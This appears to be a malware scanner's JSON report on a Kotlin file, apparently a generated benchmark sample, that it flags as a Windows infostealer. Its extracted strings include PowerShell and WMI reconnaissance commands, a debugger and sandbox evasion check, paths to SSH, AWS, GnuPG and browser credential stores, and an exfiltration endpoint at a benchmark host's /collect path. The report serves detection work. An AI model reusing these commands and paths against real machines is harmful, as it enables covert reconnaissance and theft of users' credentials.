{ "ml": { "v": "5", "fs": [ { "id": 0, "prob": 0.9407345652580261, "class": 2, "threshold": 0.9407345652580261 } ], "prob": 0.94073457, "class": 2, "level": 3, "models": [ { "m": "az", "prob": 0.8911782, "class": 0 }, { "m": "az/source", "prob": 0.94073457, "class": 2 }, { "m": "az/kotlin", "prob": 1.0, "class": 2 } ], "version": "v17.17", "threshold": 0.94073457, "analyzed_at": "2026-05-31T18:29:47Z" }, "path": "Main.kt", "raw": { "v": "5", "fs": [ { "f": "O(Dy)H(Po)", "x": 116, "ff": { "i": [ [ "", "File" ], [ "", "StringBuilder" ], [ "", "listOf" ], [ "", "listOf" ], [ "", "ProcessBuilder" ], [ "", "ProcessBuilder" ], [ "", "ProcessBuilder" ], [ "", "ProcessBuilder" ], [ "", "ProcessBuilder" ], [ "", "ProcessBuilder" ], [ "", "ProcessBuilder" ], [ "", "ProcessBuilder" ], [ "", "ProcessBuilder" ], [ "", "listOf" ], [ "", "ProcessBuilder" ], [ "", "listOf" ], [ "", "File" ], [ "", "File" ], [ "", "File" ], [ "", "File" ], [ "", "File" ], [ "", "File" ], [ "", "String" ], [ "", "emptyList" ], [ "", "ProcessBuilder" ], [ "", "listOf" ], [ "", "File" ], [ "", "File" ], [ "", "File" ], [ "", "ProcessBuilder" ], [ "", "URL" ], [ "", "URL" ], [ "", "java.io" ], [ "", "java.net" ], [ "", "java.nio.file" ], [ "", "java.util" ], [ "", "java.util.concurrent" ] ], "m": { "ast": { "max_depth": 22.0, "call_count": 154.0, "node_count": 3055.0, "identifier_count": 102.0, "string_literal_count": 133.0, "string_concat_chain_max_length": 3.0 }, "file": { "size": 11883.0, "entropy": 5.04, "size_bytes": 11883.0 }, "text": { "digit_ratio": 0.01, "space_count": 2413.0, "total_lines": 276.0, "char_entropy": 5.04, "unique_chars": 83.0, "escape_density": 0.01, "string_density": 0.48, "avg_line_length": 42.05, "max_line_length": 200.0, "empty_line_ratio": 0.11, "last_line_length": 1.0, "whitespace_ratio": 0.23, "most_common_ratio": 0.07, "identifier_density": 1.77, "line_length_stddev": 34.63, "unicode_escape_count": 1.0, "normalized_string_count": 8.01, "repeated_char_sequences": 43.0, "suspicious_string_ratio": 0.15, "most_common_char_is_null": 0.0, "max_inline_whitespace_run": 2.0, "most_common_char_codepoint": 101.0, "suspicious_identifier_ratio": 0.04, "normalized_unique_identifiers": 12.58 }, "calls": { "count": 154.0 }, "source": { "function_count": 1.0 }, "imports": { "count": 5.0, "unique_modules": 5.0, "third_party_count": 5.0, "third_party_ratio": 1.0 }, "strings": { "total": 133.0, "url_count": 2.0, "avg_length": 27.91, "max_length": 186.0, "path_count": 1.0, "avg_entropy": 3.45, "empty_count": 4.0, "total_bytes": 3712.0, "domain_count": 1.0, "entropy_stddev": 0.89, "high_entropy_count": 1.0, "shell_command_strings": 14.0, "embedded_code_candidates": 6.0 }, "comments": { "chars": 840.0, "lines": 22.0, "total": 22.0, "to_code_ratio": 0.09 }, "functions": { "count": 1.0 }, "identifiers": { "count": 102.0, "total": 488.0, "avg_length": 7.78, "max_length": 19.0, "min_length": 1.0, "avg_entropy": 2.41, "reuse_ratio": 0.21, "unique_count": 102.0, "length_stddev": 4.07, "has_digit_ratio": 0.02, "sequential_names": 4.0, "single_char_count": 3.0, "single_char_ratio": 0.03, "high_entropy_count": 1.0, "high_entropy_ratio": 0.01, "all_lowercase_ratio": 0.38, "all_uppercase_ratio": 0.02, "numeric_suffix_count": 2.0 } }, "s": [ [ 166, "u8", "user.home" ], [ 167, "u8", "user.home" ], [ 198, "u8", ".a3to6d" ], [ 199, "u8", ".a3to6d" ], [ 268, "u8", "Safety gate check failed." ], [ 269, "u8", "Safety gate check failed." ], [ 317, "10", "1" ], [ 347, "u8", "windows-kotlin-environment-detect-wmi-sensitive-data-067e5.benchmark.atomdrift.org" ], [ 348, "u8", "windows-kotlin-environment-detect-wmi-sensitive-data-067e5.benchmark.atomdrift.org" ], [ 553, "u8", "=== ENVIRONMENT DETECTION ===" ], [ 554, "u8", "=== ENVIRONMENT DETECTION ===" ], [ 685, "u8", "HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall" ], [ 686, "u8", "HKEY_LOCAL_MACHINE" ], [ 706, "u8", "SOFTWARE" ], [ 716, "u8", "Microsoft" ], [ 727, "u8", "Windows" ], [ 736, "u8", "CurrentVersion" ], [ 752, "u8", "Uninstall" ], [ 772, "u8", "HKEY_LOCAL_MACHINE\\\\HARDWARE\\\\DESCRIPTION\\\\System\\\\BIOS" ], [ 773, "u8", "HKEY_LOCAL_MACHINE" ], [ 793, "u8", "HARDWARE" ], [ 803, "u8", "DESCRIPTION" ], [ 816, "u8", "System" ], [ 824, "u8", "BIOS" ], [ 904, "u8", "Querying registry: $regKey" ], [ 905, "u8", "Querying registry: " ], [ 924, "u8", "$" ], [ 925, "u8", "regKey" ], [ 1032, "u8", "PROCESSOR_IDENTIFIER" ], [ 1033, "u8", "PROCESSOR_IDENTIFIER" ], [ 1056, "u8", "NUMBER_OF_PROCESSORS" ], [ 1057, "u8", "NUMBER_OF_PROCESSORS" ], [ 1080, "u8", "COMPUTERNAME" ], [ 1081, "u8", "COMPUTERNAME" ], [ 1104, "u8", "USERNAME" ], [ 1105, "u8", "USERNAME" ], [ 1116, "u8", "USERDOMAIN" ], [ 1117, "u8", "USERDOMAIN" ], [ 1130, "u8", "APPDATA" ], [ 1131, "u8", "APPDATA" ], [ 1141, "u8", "LOCALAPPDATA" ], [ 1142, "u8", "LOCALAPPDATA" ], [ 1165, "u8", "TMP" ], [ 1166, "u8", "TMP" ], [ 1172, "u8", "TEMP" ], [ 1173, "u8", "TEMP" ], [ 1180, "u8", "SYSTEMROOT" ], [ 1181, "u8", "SYSTEMROOT" ], [ 1194, "u8", "HOMEDRIVE" ], [ 1195, "u8", "HOMEDRIVE" ], [ 1207, "u8", "HOMEPATH" ], [ 1208, "u8", "HOMEPATH" ], [ 1227, "u8", "SESSIONNAME" ], [ 1228, "u8", "SESSIONNAME" ], [ 1242, "u8", "CLIENTNAME" ], [ 1243, "u8", "CLIENTNAME" ], [ 1396, "u8", "ENV[$varName]=$val" ], [ 1397, "u8", "ENV[" ], [ 1401, "u8", "$" ], [ 1402, "u8", "varName]=" ], [ 1411, "u8", "$" ], [ 1412, "u8", "val" ], [ 1504, "u8", "powershell" ], [ 1505, "u8", "powershell" ], [ 1518, "u8", "-Command" ], [ 1519, "u8", "-Command" ], [ 1542, "u8", "Get-Process | Where-Object { \\$_.ProcessName -match 'xdbg|dbg|vmware|vbox|sandbox|wireshark|fiddler|procmon|procexp' } | Select-" ], [ 1543, "u8", "Get-Process | Where-Object { " ], [ 1574, "u8", "_.ProcessName -match 'xdbg|dbg|vmware|vbox|sandbox|wireshark|fiddler|procmon|procexp' } | Select-Object ProcessName, Id" ], [ 1794, "10", "10" ], [ 1849, "u8", "DEBUGGER_CHECK=$dbgOutput" ], [ 1850, "u8", "DEBUGGER_CHECK=" ], [ 1865, "u8", "$" ], [ 1866, "u8", "dbgOutput" ], [ 1940, "u8", "DEBUGGER_CHECK=failed:${e.message}" ], [ 1941, "u8", "DEBUGGER_CHECK=failed:" ], [ 2079, "u8", "powershell" ], [ 2080, "u8", "powershell" ], [ 2093, "u8", "-Command" ], [ 2094, "u8", "-Command" ], [ 2117, "u8", "Get-WmiObject -Class Win32_BIOS | Select-Object Manufacturer, Name, SerialNumber, Version | Format-List" ], [ 2118, "u8", "Get-WmiObject -Class Win32_BIOS | Select-Object Manufacturer, Name, SerialNumber, Version | Format-List" ], [ 2323, "10", "10" ], [ 2378, "u8", "BIOS_INFO=$biosOutput" ], [ 2379, "u8", "BIOS_INFO=" ], [ 2389, "u8", "$" ], [ 2390, "u8", "biosOutput" ], [ 2465, "u8", "BIOS_INFO=failed:${e.message}" ], [ 2466, "u8", "BIOS_INFO=failed:" ], [ 2624, "u8", "powershell" ], [ 2625, "u8", "powershell" ], [ 2638, "u8", "-Command" ], [ 2639, "u8", "-Command" ], [ 2662, "u8", "Get-CimInstance -ClassName Win32_ComputerSystem | Select-Object Manufacturer, Model, TotalPhysicalMemory | Format-List" ], [ 2663, "u8", "Get-CimInstance -ClassName Win32_ComputerSystem | Select-Object Manufacturer, Model, TotalPhysicalMemory | Format-List" ], [ 2881, "10", "10" ], [ 2936, "u8", "COMPUTER_SYSTEM=$csOutput" ], [ 2937, "u8", "COMPUTER_SYSTEM=" ], [ 2953, "u8", "$" ], [ 2954, "u8", "csOutput" ], [ 3027, "u8", "COMPUTER_SYSTEM=failed:${e.message}" ], [ 3028, "u8", "COMPUTER_SYSTEM=failed:" ], [ 3133, "u8", "=== WMI EXECUTION ===" ], [ 3134, "u8", "=== WMI EXECUTION ===" ], [ 3243, "u8", "powershell" ], [ 3244, "u8", "powershell" ], [ 3257, "u8", "-Command" ], [ 3258, "u8", "-Command" ], [ 3281, "u8", "Get-WmiObject -Class Win32_Process | Select-Object Name, ProcessId, CommandLine | Format-Table -AutoSize" ], [ 3282, "u8", "Get-WmiObject -Class Win32_Process | Select-Object Name, ProcessId, CommandLine | Format-Table -AutoSize" ], [ 3488, "10", "15" ], [ 3543, "u8", "WMI_PROCESSES=$procOutput" ], [ 3544, "u8", "WMI_PROCESSES=" ], [ 3558, "u8", "$" ], [ 3559, "u8", "procOutput" ], [ 3634, "u8", "WMI_PROCESSES=failed:${e.message}" ], [ 3635, "u8", "WMI_PROCESSES=failed:" ], [ 3763, "u8", "powershell" ], [ 3764, "u8", "powershell" ], [ 3777, "u8", "-Command" ], [ 3778, "u8", "-Command" ], [ 3801, "u8", "Get-WmiObject -Class Win32_Product | Select-Object Name, Version, Vendor | Format-Table -AutoSize" ], [ 3802, "u8", "Get-WmiObject -Class Win32_Product | Select-Object Name, Version, Vendor | Format-Table -AutoSize" ], [ 3999, "10", "15" ], [ 4054, "u8", "WMI_SOFTWARE=$swOutput" ], [ 4055, "u8", "WMI_SOFTWARE=" ], [ 4068, "u8", "$" ], [ 4069, "u8", "swOutput" ], [ 4142, "u8", "WMI_SOFTWARE=failed:${e.message}" ], [ 4143, "u8", "WMI_SOFTWARE=failed:" ], [ 4284, "u8", "powershell" ], [ 4285, "u8", "powershell" ], [ 4298, "u8", "-Command" ], [ 4299, "u8", "-Command" ], [ 4322, "u8", "Get-WmiObject -Class Win32_NetworkAdapterConfiguration -Filter 'IPEnabled=True' | Select-Object Description, MACAddress, IPAddre" ], [ 4323, "u8", "Get-WmiObject -Class Win32_NetworkAdapterConfiguration -Filter 'IPEnabled=True' | Select-Object Description, MACAddress, IPAddre" ], [ 4586, "10", "15" ], [ 4641, "u8", "WMI_NETWORK=$netOutput" ], [ 4642, "u8", "WMI_NETWORK=" ], [ 4654, "u8", "$" ], [ 4655, "u8", "netOutput" ], [ 4729, "u8", "WMI_NETWORK=failed:${e.message}" ], [ 4730, "u8", "WMI_NETWORK=failed:" ], [ 4854, "u8", "powershell" ], [ 4855, "u8", "powershell" ], [ 4868, "u8", "-Command" ], [ 4869, "u8", "-Command" ], [ 4892, "u8", "Get-WmiObject -Class Win32_StartupCommand | Select-Object Name, Command, Location, User | Format-List" ], [ 4893, "u8", "Get-WmiObject -Class Win32_StartupCommand | Select-Object Name, Command, Location, User | Format-List" ], [ 5099, "10", "15" ], [ 5154, "u8", "WMI_STARTUP=$startupOutput" ], [ 5155, "u8", "WMI_STARTUP=" ], [ 5167, "u8", "$" ], [ 5168, "u8", "startupOutput" ], [ 5246, "u8", "WMI_STARTUP=failed:${e.message}" ], [ 5247, "u8", "WMI_STARTUP=failed:" ], [ 5368, "u8", "powershell" ], [ 5369, "u8", "powershell" ], [ 5382, "u8", "-Command" ], [ 5383, "u8", "-Command" ], [ 5406, "u8", "Get-WmiObject -Class Win32_UserAccount | Select-Object Name, Domain, SID, Disabled, AccountType | Format-Table -AutoSize" ], [ 5407, "u8", "Get-WmiObject -Class Win32_UserAccount | Select-Object Name, Domain, SID, Disabled, AccountType | Format-Table -AutoSize" ], [ 5629, "10", "15" ], [ 5684, "u8", "WMI_USERS=$userOutput" ], [ 5685, "u8", "WMI_USERS=" ], [ 5695, "u8", "$" ], [ 5696, "u8", "userOutput" ], [ 5771, "u8", "WMI_USERS=failed:${e.message}" ], [ 5772, "u8", "WMI_USERS=failed:" ], [ 5910, "u8", "powershell" ], [ 5911, "u8", "powershell" ], [ 5924, "u8", "-Command" ], [ 5925, "u8", "-Command" ], [ 5948, "u8", "\\$p = [WMI]'win32_process'; \\$p.Create('whoami')" ], [ 5951, "u8", "p = [WMI]'win32_process'; " ], [ 5979, "u8", "p.Create('whoami')" ], [ 6099, "10", "10" ], [ 6154, "u8", "WMI_EXEC_RESULT=$execOutput" ], [ 6155, "u8", "WMI_EXEC_RESULT=" ], [ 6171, "u8", "$" ], [ 6172, "u8", "execOutput" ], [ 6247, "u8", "WMI_EXEC_RESULT=failed:${e.message}" ], [ 6248, "u8", "WMI_EXEC_RESULT=failed:" ], [ 6367, "u8", "=== SENSITIVE DATA COLLECTION ===" ], [ 6368, "u8", "=== SENSITIVE DATA COLLECTION ===" ], [ 6509, "u8", "--- ALL ENVIRONMENT VARIABLES ---" ], [ 6510, "u8", "--- ALL ENVIRONMENT VARIABLES ---" ], [ 6605, "u8", " $k=$v" ], [ 6606, "u8", " " ], [ 6608, "u8", "$" ], [ 6609, "u8", "k=" ], [ 6611, "u8", "$" ], [ 6612, "u8", "v" ], [ 6710, "u8", "powershell" ], [ 6711, "u8", "powershell" ], [ 6724, "u8", "-Command" ], [ 6725, "u8", "-Command" ], [ 6748, "u8", "Get-ItemProperty -Path 'HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion' -Name 'ProductName','CurrentBuild','CurrentMajor" ], [ 6749, "u8", "Get-ItemProperty -Path 'HKLM:" ], [ 6780, "u8", "SOFTWARE" ], [ 6790, "u8", "Microsoft" ], [ 6801, "u8", "Windows NT" ], [ 6813, "u8", "CurrentVersion' -Name 'ProductName','CurrentBuild','CurrentMajorVersionNumber' -ErrorAction SilentlyContinue | Format-List" ], [ 7122, "10", "10" ], [ 7177, "u8", "REG_OS_INFO=$regOutput" ], [ 7178, "u8", "REG_OS_INFO=" ], [ 7190, "u8", "$" ], [ 7191, "u8", "regOutput" ], [ 7265, "u8", "REG_OS_INFO=failed:${e.message}" ], [ 7266, "u8", "REG_OS_INFO=failed:" ], [ 7389, "u8", "user.home" ], [ 7390, "u8", "user.home" ], [ 7458, "u8", ".ssh" ], [ 7459, "u8", ".ssh" ], [ 7490, "u8", ".gnupg" ], [ 7491, "u8", ".gnupg" ], [ 7524, "u8", ".aws" ], [ 7525, "u8", ".aws" ], [ 7556, "u8", ".config" ], [ 7557, "u8", ".config" ], [ 7567, "u8", "gitconfig" ], [ 7568, "u8", "gitconfig" ], [ 7604, "u8", "Documents" ], [ 7605, "u8", "Documents" ], [ 7645, "u8", "APPDATA" ], [ 7646, "u8", "APPDATA" ], [ 7663, "u8", "Microsoft" ], [ 7664, "u8", "Microsoft" ], [ 7676, "u8", "Windows" ], [ 7677, "u8", "Windows" ], [ 7687, "u8", "PowerShell" ], [ 7688, "u8", "PowerShell" ], [ 7701, "u8", "Microsoft.PowerShell_profile.ps1" ], [ 7702, "u8", "Microsoft.PowerShell_profile.ps1" ], [ 7844, "u8", "FOUND_PATH=${path.absolutePath}" ], [ 7845, "u8", "FOUND_PATH=" ], [ 8053, "u8", "FILE_CONTENT=${path.name}=${content.take(2000)}" ], [ 8054, "u8", "FILE_CONTENT=" ], [ 8079, "u8", "=" ], [ 8095, "10", "2000" ], [ 8190, "u8", "FILE_READ_FAILED=${path.name}:${e.message}" ], [ 8191, "u8", "FILE_READ_FAILED=" ], [ 8445, "u8", "DIR_LISTING=${path.name}=[${files.joinToString(\",\")}]" ], [ 8446, "u8", "DIR_LISTING=" ], [ 8470, "u8", "=[" ], [ 8493, "u8", "," ], [ 8494, "u8", "," ], [ 8498, "u8", "]" ], [ 8588, "u8", "DIR_READ_FAILED=${path.name}:${e.message}" ], [ 8589, "u8", "DIR_READ_FAILED=" ], [ 8757, "u8", "powershell" ], [ 8758, "u8", "powershell" ], [ 8771, "u8", "-Command" ], [ 8772, "u8", "-Command" ], [ 8795, "u8", "Get-ScheduledTask | Where-Object { \\$_.State -eq 'Ready' } | Select-Object TaskName, TaskPath | Format-Table -AutoSize" ], [ 8796, "u8", "Get-ScheduledTask | Where-Object { " ] ], "v": { "file.stem": "Main", "file.basename": "Main.kt", "source.language": "kotlin", "source.imports[0]": "File", "source.imports[1]": "ProcessBuilder", "source.imports[2]": "String", "source.imports[3]": "StringBuilder", "source.imports[4]": "URL", "source.imports[5]": "emptyList", "source.imports[6]": "java.io", "source.imports[7]": "java.net", "source.imports[8]": "java.nio.file", "source.imports[9]": "java.util", "source.strings[0]": " $k=$v", "source.strings[1]": " bytes to ", "source.strings[2]": "!KEI\"USERhOMEjINKO", "source.strings[3]": "\"GNL\"USERhOME", "source.strings[4]": "#AEo\"USERhOMEZAN", "source.strings[5]": "'KEI\"USERhOMEjINKO=", "source.strings[6]": "--- ALL ENVIRONMENT VARIABLES ---", "source.strings[7]": "-Command", "source.strings[8]": ".KEI\"USERhOMEjINKO", "source.strings[9]": ".a3to6d", "source.has_imports": true, "source.imports[10]": "java.util.concurrent", "source.imports[11]": "listOf", "source.strings[10]": ".config", "source.strings[11]": ".gnupg", "source.strings[12]": "5KEI\"USERhOMEjINKO", "source.strings[13]": "5KEI\"USERhOMEjINKO=", "source.strings[14]": "5XNL\"USERaeME", "source.strings[15]": "=== ENVIRONMENT DETECTION ===", "source.strings[16]": "=== SENSITIVE DATA COLLECTION ===", "source.strings[17]": "=== WMI EXECUTION ===", "source.strings[18]": "ACTIVE_CONNECTIONS=", "source.strings[19]": "ACTIVE_CONNECTIONS=$connOutput", "source.strings[20]": "ACTIVE_CONNECTIONS=failed:", "source.strings[21]": "ACTIVE_CONNECTIONS=failed:${e.message}", "source.strings[22]": "APPDATA", "source.strings[23]": "BIOS_INFO=", "source.strings[24]": "BIOS_INFO=$biosOutput", "source.strings[25]": "BIOS_INFO=failed:", "source.strings[26]": "BIOS_INFO=failed:${e.message}", "source.strings[27]": "BROWSER_FOUND=", "source.strings[28]": "BROWSER_FOUND=${bp.absolutePath}", "source.strings[29]": "CLIENTNAME", "source.strings[30]": "COMPUTERNAME", "source.strings[31]": "COMPUTER_SYSTEM=", "source.strings[32]": "COMPUTER_SYSTEM=$csOutput", "source.strings[33]": "COMPUTER_SYSTEM=failed:", "source.strings[34]": "COMPUTER_SYSTEM=failed:${e.message}", "source.strings[35]": "Chrome", "source.strings[36]": "Content-Type", "source.strings[37]": "CurrentVersion", "source.strings[38]": "CurrentVersion' -Name 'ProductName','CurrentBuild','CurrentMajorVersionNumber' -ErrorAction SilentlyContinue | Format-List", "source.strings[39]": "DEBUGGER_CHECK=", "source.strings[40]": "DEBUGGER_CHECK=$dbgOutput", "source.strings[41]": "DEBUGGER_CHECK=failed:", "source.strings[42]": "DEBUGGER_CHECK=failed:${e.message}", "source.strings[43]": "DESCRIPTION", "source.strings[44]": "DIR_LISTING=", "source.strings[45]": "DIR_LISTING=${path.name}=[${files.joinToString(\",\")}]", "source.strings[46]": "DIR_READ_FAILED=", "source.strings[47]": "DIR_READ_FAILED=${path.name}:${e.message}", "source.strings[48]": "Documents", "source.strings[49]": "ENV[$varName]=$val", "source.strings[50]": "Exfiltrating ", "source.strings[51]": "Exfiltrating ${payload.length} bytes to $exfilHost", "source.strings[52]": "Exfiltration failed: ", "source.strings[53]": "Exfiltration failed: ${e.message}", "source.strings[54]": "Exfiltration fallback response: ", "source.strings[55]": "Exfiltration fallback response: $responseCode", "source.strings[56]": "Exfiltration response: ", "source.strings[57]": "Exfiltration response: $responseCode", "source.strings[58]": "FILE_CONTENT=", "source.strings[59]": "FILE_CONTENT=${path.name}=${content.take(2000)}", "source.strings[60]": "FILE_READ_FAILED=", "source.strings[61]": "FILE_READ_FAILED=${path.name}:${e.message}", "source.strings[62]": "FOUND_PATH=", "source.strings[63]": "FOUND_PATH=${path.absolutePath}", "source.strings[64]": "Fallback exfiltration also failed: ", "source.strings[65]": "Fallback exfiltration also failed: ${e2.message}", "source.strings[66]": "Firefox", "source.strings[67]": "Get-CimInstance -ClassName Win32_ComputerSystem | Select-Object Manufacturer, Model, TotalPhysicalMemory | Format-List", "source.strings[68]": "Get-ItemProperty -Path 'HKLM:", "source.strings[69]": "Get-ItemProperty -Path 'HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion' -Name 'ProductName','CurrentBuild','CurrentMajorVersionNumber' -ErrorAction SilentlyContinue | Format-List", "source.strings[70]": "Get-NetTCPConnection -ErrorAction SilentlyContinue | Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort, State | Format-Table -AutoSize", "source.strings[71]": "Get-Process | Where-Object { ", "source.strings[72]": "Get-Process | Where-Object { \\$_.ProcessName -match 'xdbg|dbg|vmware|vbox|sandbox|wireshark|fiddler|procmon|procexp' } | Select-Object ProcessName, Id", "source.strings[73]": "Get-ScheduledTask | Where-Object { ", "source.strings[74]": "Get-ScheduledTask | Where-Object { \\$_.State -eq 'Ready' } | Select-Object TaskName, TaskPath | Format-Table -AutoSize", "source.strings[75]": "Get-WmiObject -Class Win32_BIOS | Select-Object Manufacturer, Name, SerialNumber, Version | Format-List", "source.strings[76]": "Get-WmiObject -Class Win32_NetworkAdapterConfiguration -Filter 'IPEnabled=True' | Select-Object Description, MACAddress, IPAddress, DefaultIPGateway | Format-List", "source.strings[77]": "Get-WmiObject -Class Win32_Process | Select-Object Name, ProcessId, CommandLine | Format-Table -AutoSize", "source.strings[78]": "Get-WmiObject -Class Win32_Product | Select-Object Name, Version, Vendor | Format-Table -AutoSize", "source.strings[79]": "Get-WmiObject -Class Win32_StartupCommand | Select-Object Name, Command, Location, User | Format-List", "source.strings[80]": "Get-WmiObject -Class Win32_UserAccount | Select-Object Name, Domain, SID, Disabled, AccountType | Format-Table -AutoSize", "source.strings[81]": "Google", "source.strings[82]": "HARDWARE", "source.strings[83]": "HKEY_LOCAL_MACHINE", "source.strings[84]": "HKEY_LOCAL_MACHINE\\\\HARDWARE\\\\DESCRIPTION\\\\System\\\\BIOS", "source.strings[85]": "HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall", "source.strings[86]": "HOMEDRIVE", "source.strings[87]": "HOMEPATH", "source.strings[88]": "LOCALAPPDATA", "source.strings[89]": "Microsoft", "source.strings[90]": "Microsoft.PowerShell_profile.ps1", "source.strings[91]": "Mozilla", "source.strings[92]": "NUMBER_OF_PROCESSORS", "source.strings[93]": "PROCESSOR_IDENTIFIER", "source.strings[94]": "PowerShell", "source.strings[95]": "Querying registry: ", "source.strings[96]": "Querying registry: $regKey", "source.strings[97]": "REG_OS_INFO=", "source.strings[98]": "REG_OS_INFO=$regOutput", "source.strings[99]": "REG_OS_INFO=failed:", "source.functions[0]": "main", "source.strings[100]": "REG_OS_INFO=failed:${e.message}", "source.strings[101]": "SCHEDULED_TASKS=", "source.strings[102]": "SCHEDULED_TASKS=$taskOutput", "source.strings[103]": "SCHEDULED_TASKS=failed:", "source.strings[104]": "SCHEDULED_TASKS=failed:${e.message}", "source.strings[105]": "SESSIONNAME", "source.strings[106]": "SOFTWARE", "source.strings[107]": "SYSTEMROOT", "source.strings[108]": "Safety gate check failed.", "source.strings[109]": "System", "source.strings[110]": "USERDOMAIN", "source.strings[111]": "USERNAME", "source.strings[112]": "Uninstall", "source.strings[113]": "User Data", "source.strings[114]": "WMI_EXEC_RESULT=", "source.strings[115]": "WMI_EXEC_RESULT=$execOutput", "source.strings[116]": "WMI_EXEC_RESULT=failed:", "source.strings[117]": "WMI_EXEC_RESULT=failed:${e.message}", "source.strings[118]": "WMI_NETWORK=", "source.strings[119]": "WMI_NETWORK=$netOutput", "source.strings[120]": "WMI_NETWORK=failed:", "source.strings[121]": "WMI_NETWORK=failed:${e.message}", "source.strings[122]": "WMI_PROCESSES=", "source.strings[123]": "WMI_PROCESSES=$procOutput", "source.strings[124]": "WMI_PROCESSES=failed:", "source.strings[125]": "WMI_PROCESSES=failed:${e.message}", "source.strings[126]": "WMI_SOFTWARE=", "source.strings[127]": "WMI_SOFTWARE=$swOutput", "source.strings[128]": "WMI_SOFTWARE=failed:", "source.strings[129]": "WMI_SOFTWARE=failed:${e.message}", "source.strings[130]": "WMI_STARTUP=", "source.strings[131]": "WMI_STARTUP=$startupOutput", "source.strings[132]": "WMI_STARTUP=failed:", "source.strings[133]": "WMI_STARTUP=failed:${e.message}", "source.strings[134]": "WMI_USERS=", "source.strings[135]": "WMI_USERS=$userOutput", "source.strings[136]": "WMI_USERS=failed:", "source.strings[137]": "WMI_USERS=failed:${e.message}", "source.strings[138]": "Windows", "source.strings[139]": "Windows NT", "source.strings[140]": "\\$p = [WMI]'win32_process'; \\$p.Create('whoami')", "source.strings[141]": "_.ProcessName -match 'xdbg|dbg|vmware|vbox|sandbox|wireshark|fiddler|procmon|procexp' } | Select-Object ProcessName, Id", "source.strings[142]": "_.State -eq 'Ready' } | Select-Object TaskName, TaskPath | Format-Table -AutoSize", "source.strings[143]": "application/octet-stream", "source.strings[144]": "biosOutput", "source.strings[145]": "connOutput", "source.strings[146]": "csOutput", "source.strings[147]": "dENLU(QLxhOME", "source.strings[148]": "dbgOutput", "source.strings[149]": "execOutput", "source.strings[150]": "exfilHost", "source.strings[151]": "exfilHost/collect", "source.strings[152]": "f!81x\u0026yERhOME", "source.strings[153]": "fILL\"USER.", "source.strings[154]": "fTLGx: 1PBOME", "source.strings[155]": "gitconfig", "source.strings[156]": "http://", "source.strings[157]": "http://$exfilHost/collect", "source.strings[158]": "https://", "source.strings[159]": "https://$exfilHost/collect", "source.strings[160]": "kDNL\"USER.", "source.strings[161]": "n@EL\"USERhOME", "source.strings[162]": "netOutput", "source.strings[163]": "p = [WMI]'win32_process'; ", "source.strings[164]": "p.Create('whoami')", "source.strings[165]": "powershell", "source.strings[166]": "procOutput", "source.strings[167]": "regKey", "source.strings[168]": "regOutput", "source.strings[169]": "responseCode", "source.strings[170]": "startupOutput", "source.strings[171]": "swOutput", "source.strings[172]": "taskOutput", "source.strings[173]": "user.home", "source.strings[174]": "userOutput", "source.strings[175]": "vY\\LUWZoRhOME", "source.strings[176]": "vY\\U\"USERhOME", "source.strings[177]": "vY\\U\"USERhOMEOOL@I", "source.strings[178]": "vY\\o\"USERhOME", "source.strings[179]": "vY\\o\"USERhOMEZAN", "source.strings[180]": "varName]=", "source.strings[181]": "windows-kotlin-environment-detect-wmi-sensitive-data-067e5.benchmark.atomdrift.org" }, "ct": [ "File", "ProcessBuilder", "String", "StringBuilder", "URL", "emptyList", "listOf" ], "id": "kotlin" }, "id": 0, "sz": 11883, "ts": [ { "c": 0.6000000238418579, "d": "payload keyword", "e": [ "payload" ], "i": "micro-behaviors/data/text/keywords/lexicon::payload", "l": 1 }, { "c": 0.30000001192092896, "d": "ssh keyword", "e": [ "ssh" ], "i": "micro-behaviors/data/text/keywords/lexicon::ssh-string", "l": 2 }, { "c": 0.800000011920929, "d": "Java ProcessBuilder usage", "e": [ "ProcessBuilder" ], "i": "micro-behaviors/process/create/shell/invoke::java-process-builder", "l": 2 }, { "c": 0.20000000298023224, "d": "command keyword", "e": [ "command" ], "i": "micro-behaviors/data/text/keywords/lexicon::command-dup", "l": 1 }, { "c": 0.800000011920929, "d": "Java HttpURLConnection usage", "e": [ "HttpURLConnection" ], "i": "micro-behaviors/communications/http/client/library::java-http-url-connection", "l": 2 }, { "c": 0.9700000286102295, "d": "Validation vocabulary object", "e": [ "Object" ], "i": "metadata/file/text/format::vocab-object", "l": 1 }, { "c": 0.800000011920929, "d": "Java System.getenv() usage", "e": [ "System.getenv" ], "i": "micro-behaviors/os/env/access::java-system-getenv", "l": 2 }, { "c": 0.9700000286102295, "d": "Validation vocabulary string", "e": [ "String" ], "i": "metadata/file/text/format::vocab-string", "l": 1 }, { "c": 0.800000011920929, "d": "Java System.getProperty() usage", "e": [ "System.getProperty" ], "i": "micro-behaviors/os/env/access::java-system-getproperty", "l": 2 }, { "c": 0.20000000298023224, "d": "output keyword", "e": [ "output" ], "i": "micro-behaviors/data/text/keywords/lexicon::output", "l": 1 }, { "c": 0.699999988079071, "d": "powershell keyword", "e": [ "powershell" ], "i": "micro-behaviors/process/create/shell/lang::powershell-keyword", "l": 3 }, { "c": 0.949999988079071, "d": "imports java.io", "e": [ "java.io" ], "i": "metadata/import/unknown::java/io", "l": 2 }, { "c": 0.949999988079071, "d": "imports java.net", "e": [ "java.net" ], "i": "metadata/import/unknown::java/net", "l": 2 }, { "c": 0.949999988079071, "d": "imports java.nio.file", "e": [ "java.nio.file" ], "i": "metadata/import/unknown::java/nio/file", "l": 2 }, { "c": 0.949999988079071, "d": "imports java.util", "e": [ "java.util" ], "i": "metadata/import/unknown::java/util", "l": 2 }, { "c": 0.949999988079071, "d": "imports java.util.concurrent", "e": [ "java.util.concurrent" ], "i": "metadata/import/unknown::java/util/concurrent", "l": 2 }, { "a": "T1082", "c": 0.949999988079071, "d": "Java script gathering system and network information", "e": [ "System.getProperty", "System.getenv", "ProcessBuilder" ], "i": "objectives/discovery/host/system::java-extensive-recon", "l": 5 } ], "sha": "ebff2a8ba7f1c091659bf0fcfc6086378dcb853fa6defae34be6832def988e05", "path": "Main.kt", "type": "kotlin" } ], "tv": "176d6" } }